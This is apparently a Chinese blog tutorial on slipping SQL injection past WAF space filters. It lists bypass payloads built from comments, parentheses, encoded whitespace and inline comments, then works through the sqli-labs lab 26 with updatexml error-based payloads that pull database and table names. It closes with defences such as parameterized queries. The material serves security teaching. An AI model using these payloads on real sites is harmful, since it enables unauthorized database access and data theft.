SQL注入的“无影脚”:详解空格绕过WAF的N种方法

文章目录

引言

在SQL注入攻击中,空格是分隔关键字和参数的利器。但如今,几乎所有Web应用防火墙都会严格过滤空格字符。难道这就意味着SQL注入走到了尽头?当然不是!攻击者不断探索新的绕过技术。本文将带你深入探讨,当'空格'被禁时,我们如何利用注释符、括号、特殊编码等'替身',让SQL语句在WAF的眼皮底下悄然执行

为什么空格如此重要

这可真是个看着简单实则一点都不简单的问题

我们可以通过一个三步递进的逻辑链来阐述这个问题

  1. 从"人类语言"到"机器语言"的类比
    想象一下我们阅读一段话,汉字之间如果没有空格,会变成什么样?

例如最经典的一段话:

下雨天留客天留我不留

这样短句就表示主人委婉逐客

下雨天留客,天留我不留

用空格表示:

下雨天留客 天留我不留

这样短句则就表示客人机智留宿

下雨天,留客天,留我不?留

用空格表示:

下雨天 留客天 留我不 留

同一句话用不同的方式断句就会有不同的含义和意思

对于SQL数据库引擎来说,亦是如此,它就像一个严格的"阅读器",空格的作用完全相同。空格是SQL语言的单词(即关键字和标识符)之间的基本分隔符, 它告诉数据库:"一个命令到这里结束,下一个命令或参数从这里开始"


  1. 解剖一个标准的SQL查询

让我们来看一个经典的SQL注入场景------登录绕过

  • 前端输入: 用户名:admin, 密码:123456

  • 后端拼接的SQL语句:

sql 复制代码
SELECT * FROM users WHERE username = 'admin' AND password = '123456';

现在,攻击者尝试在密码栏进行注入,输入:' OR '1'='1

  • 注入后的畸形语句:
sql 复制代码
SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1'='1';

关键分析: 请你仔细观察这个被注入的语句,注意空格的位置:

  • password = '' OR '1'='1'
  • 空格清晰地分隔了 = ''OR'1'='1' 这几个部分

试想一下,如果没有这些空格,语句会变成什么?

sql 复制代码
SELECT * FROM users WHERE username = 'admin' AND password = ''OR'1'='1';

虽然有些数据库(如MySQL)有较强的容错能力,可能仍能解析,但这已经引入了不确定性。更重要的是,没有空格,整个语句的逻辑意图就完全混乱了 。数据库很可能无法理解 ''OR'1' 这一长串字符到底是什么,从而导致语法错误,注入也就失败了

所以空格是保证SQL语句被数据库正确解析和执行的关键 。 对于攻击者而言,没有空格,就无法清晰地构造出 OR 1=1 这样的恶意逻辑


  1. WAF的"捕鼠夹":如何利用空格进行防御
    现在,防守方(WAF)登场了。WAF的工作原理很大程度上依赖于模式匹配

WAF的规则库里,预设了大量已知的攻击Payload,例如:

  • ' OR 1=1 --
  • ' UNION SELECT 1,2,3 --
  • ' AND 1=1 --

请注意,这些规则模式都包含了特定的空格

当HTTP请求到达时,WAF会将其中的参数值与这些规则进行匹配。如果发现 ' OR 1=1 -- 这个完整的字符串(包括空格),它会立刻将其识别为SQL注入攻击并拦截该请求

于是,一个简单而有效的防御策略诞生了:直接过滤或严格监控请求中的空格字符, 这就像一个捕鼠夹,专门放在"空格"这条攻击者的必经之路上。一旦检测到可疑关键词附近有空格,就立即触发警报


核心绕过技巧详解

当传统的空格被WAF严格监控时,攻击者开始寻找各种"替身"。这些替身的共同点是:它们能在SQL语法中起到分隔作用,但却不在WAF的常规空格检测模式中

下面我们将这些技巧分为五大类,由浅入深地进行详解

类别一:注释符绕过 - 最经典的替代方案

原理

SQL支持多种注释语法,如 /* */(多行注释)和 --(单行注释)。虽然注释的目的是为了让开发者添加备注,但巧妙的是,注释符本身就是一个完美的"词汇分隔符",数据库在解析时,会将注释符及其内部内容视为一个整体分隔单元,从而实现了与空格相同的分隔效果,却能绕过基于空格的模式匹配

示例与实战

  • 基础用法(MySQL)

    • 原始Payload: UNION SELECT 1,2,3
    • 绕过Payload: UNION/**/SELECT/**/1,2,3
    • 解释 : 这里的 /**/ 完全替代了空格的位置。WAF的规则可能只匹配 UNION SELECT,但对 UNION/**/SELECT 却视而不见
  • 高级技巧:内联注释(MySQL特有)

    • 绕过Payload: UNION/*!50000SELECT*/1,2,3
    • 解释: /*!50000 ... */ 是MySQL的内联注释,其中的代码只在MySQL版本大于等于5.00.00时执行。这不仅能绕过空格过滤,其独特的语法结构本身对WAF就是一种挑战
  • 单行注释的妙用

    • 绕过Payload: UNION--%0aSELECT--%0a1,2,3
    • 解释 : 这里用 -- 注释掉后面的换行符,从而将语句分隔到不同行,同样能达到绕过效果

适用数据库 : MySQL, PostgreSQL(支持/**/),SQL Server(也支持,但内联注释语法不同)


类别二:括号 () 绕过 - 结构化的分隔符

原理

括号 () 在SQL中用于定义表达式优先级和函数参数。我们可以利用它来"包裹"数据,从而在不需要空格的情况下,清晰地划分出查询的各个部分。这种方法尤其适用于 SELECT 字段列表

示例与实战

  • 包裹字段值

    • 原始Payload: UNION SELECT 1,2,3
    • 绕过Payload: UNION(SELECT(1),(2),(3))
    • 解释 : 每个数字 (1)(2)(3) 都被括号独立包裹,无需空格来分隔它们。整个结构对WAF来说是陌生的,但数据库却能完美解析
  • 结合其他技巧

    • 绕过Payload:UNION(SELECT(1),(table_name),(3)FROM(information_schema.tables))
    • 解释: 这个例子展示了如何将括号应用于表名和列名,构建出极其复杂的Payload,让基于字符串匹配的WAF规则彻底失效。

适用数据库: 几乎所有数据库(MySQL, SQL Server, PostgreSQL, Oracle等)


类别三:特殊字符与URL编码绕过 - 看不见的空白符

原理

在计算机系统中,除了普通的空格(ASCII 32),还存在许多其他"空白字符"。在URL传输过程中,这些字符会被编码。如果WAF只解码并过滤了普通空格,而忽略了这些特殊空白符的解码或检查,那么攻击者就可以利用它们作为分隔符。

常见替代字符清单

特殊字符 URL编码 说明 示例
Tab 制表符 %09 水平制表,经典的空白符 UNION%09SELECT%091,2,3
换行符 %0a 新起一行,常用于分割日志 UNION%0aSELECT%0a1,2,3
回车符 %0d 回车,常与换行符一起出现 UNION%0dSELECT%0d1,2,3
垂直制表符 %0b 垂直制表,在MySQL中有效 UNION%0bSELECT%0b1,2,3

这里没有空格的替代字符清单,因为一般情况下既然禁用了空格那他的URL编码也会无能幸免

注意事项

  • 环境依赖性 : 这种方法的有效性高度依赖于后端Web服务器数据库对URL编码的处理方式。例如,Apache的mod_security和Nginx的规则可能不同
  • 组合使用 : 攻击者常常会混合使用多种编码,如 UNION%0a/*!50000SELECT*/%0d%0a1,2,3,以最大化绕过概率

类别四:数学运算与字符串连接符 - 运算符的妙用

原理

利用数据库的运算符来连接关键字,因为这些运算符本身也是有效的分隔符

示例与实战

  • 加号 +(在SQL Server中)

    • SQL Server将 + 用于字符串连接,并且会自动忽略其周围的空格
    • 绕过Payload: UNION+SELECT+1,2,3--
    • 注意: 在MySQL中,+ 仅用于数学运算,此方法无效。
  • 连续两个减号 --

    • 在某些巧妙构造的Payload中,可以利用 -- 来隔断语句,但需要注意它本身是注释符,会注释掉后面的内容,使用起来需要技巧
    • 适用数据库 : 此方法具有极强的数据库特异性,需要针对目标数据库类型进行选择

类别五:反引号、引号与花括号 - 特定场景的奇兵

原理

这些符号主要用于包围数据库、表、列等标识符(特别是当标识符与关键字冲突或包含特殊字符时)。在精心构造的Payload中,它们可以创造出独特的分隔效果

示例与实战(MySQL)

  • 反引号 `

    • 绕过Payload:
sql 复制代码
UNION SELECT `username`,`password` FROM `users`
  • 解释: 虽然这个例子本身包含空格,但在更复杂的嵌套查询或联合查询中,反引号可以帮助清晰地界定一个字段的结束和另一个的开始,有时可以替代关键位置的空格

  • 这类符号的主要作用不是直接替代空格 ,而是界定标识符,从而在复杂的嵌套查询或联合查询中,帮助攻击者在不引起歧义的情况下构造语句,间接减少对标准空格分隔的依赖

  • 花括号 {}(在某些环境中或结合其他语言)

    • 虽然SQL标准不支持,但在一些应用层框架或特殊的SQL扩展中,可能会遇到,属于比较冷门的技巧

实战演练

环境设置 : 本示例为 sqli-labs 26

查看源码发现这题把orand/*--#spacesslashes都给过滤了,所以我们不仅要绕过空格,还要绕过其他过滤
:不同的数据库和环境(如Web服务器对URL的解码规则)下,绕过方法的有效性可能不同。本例方法主要针对windows下的MySQL数据库 在特定配置下的环境,其他环境需灵活调整

通过报错判断出是'闭合

sql 复制代码
?id=1'

空格过滤的话很难使用group by和特殊字符和URL编码绕过(注:我记得在kali的环境下可以用URL编码绕过,你可以试试),所以我们不妨换一种方式判断闭合符

sql 复制代码
?id=1' group%A0by%A03%A0oorr%A0'1'='1

继续尝试得出用()||绕过都不行

sql 复制代码
?id=1' union(select((1),(2),(3)))||'1'='1

既然他不仁就别怪我们不义,上大招直接用报错注入

为什么报错注入可以绕过空格过滤

  1. 报错注入的核心优势:语法结构本身就"自带分隔"

    报错注入函数(如extractvalue()updatexml()等)有一个天然优势:它们通过括号()和逗号,来明确分隔参数,这本身就替代了空格的分隔作用,

  2. 运算符优先级和结合性

    ||&&这样的运算符有明确的优先级规则,数据库解析器能够根据这些规则正确解析表达式,无需空格辅助

  3. 无需显示位

    这是报错注入的一个优势,真可谓是量身定做,一举两得

sql 复制代码
?id=1'||updatexml(1,concat('~',database()),3)||'1'='1

我们来着重分析一下这条语句,看看为什么能绕过空格

  • updatexml(1,...,3) - 函数调用,括号明确界定了参数范围
  • concat('~',(...)) - 嵌套函数,继续用括号和逗号分隔
  • database() - 最内层函数,仍然使用括号结构
  • || 运算符 - 连接字符串,本身就是有效的分隔符
  • '1'='1 - 这就属于注释符绕过

总结 :整个Payload通过函数调用结构运算符引号完成了所有必要的语法分隔,完全不需要传统空格!

既然库名出来了,那查询表名也是一样轻而易举

只是有几点需要注意:

  1. select查询语句中要使用()来代替空格,原因上文有讲
  2. 在拼写information_schema这个库名时要注意要双写or,因为or被过滤了所以要双写绕过,也就是infoorrmation_schema
sql 复制代码
?id=1'||updatexml(1,concat('~',(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database()))),3)||'1'='1

因为篇幅有限,就言尽于此了,后面只需要替换select里面的语句就好了,不会的可以看这个updatexml()


防御之道:如何防止注入者绕过空格

  1. 参数化查询(首选,治本之策)

    • 解释为什么参数化查询可以从根本上杜绝SQL注入,因为它将代码与数据完全分离,无论攻击者提交什么,都会被当作数据处理,而不是SQL代码执行
  2. 严格的输入验证

    • 基于白名单,只允许已知好的字符
  3. 最小权限原则

    • 数据库连接账户不应有高权限
  4. 关于WAF

    • 明确指出 : WAF只是一种缓解措施,不是解决方案。它应该被视为最后一道防线,而不是第一道。因为绕过技巧总是在不断演进
    • 建议WAF规则需要持续更新,以包含这些非常规空格的模式

拓展

手工注入的效率终究比不过工具例如:SQLMap--tamper 脚本功能,但在有些时候手工注入却能出奇制胜,所以手工注入和工具注入是相辅相成的,之后我也会单独出一章来详细讲一下sql注入 的好帮手SQLMap

相关推荐
苏小瀚3 小时前
[MySQL] 初识数据库
数据库·mysql
l1t3 小时前
DuckDB 的postgresql插件无法访问GooseDB
数据库·postgresql·插件·duckdb
小蒜学长4 小时前
springboot海洋馆预约系统的设计与实现(代码+数据库+LW)
java·数据库·spring boot·后端
D.eL4 小时前
深入解析 Redis 单线程 IO 模型:从架构到多路复用技术
数据库·redis·架构
gsfl4 小时前
Redis 扩展数据类型
数据库·redis·缓存
maray4 小时前
论 AI Database
数据库·人工智能
茉莉玫瑰花茶5 小时前
Qt 界面优化 --- 绘图
开发语言·数据库·qt
hqwest5 小时前
QT肝8天07--连接数据库
开发语言·数据库·c++·qt·sqlite·上位机·qt开发
xcg3401235 小时前
Spring boot中 限制 Mybatis SQL日志的大字段输出
spring boot·sql·mybatis·大字段打印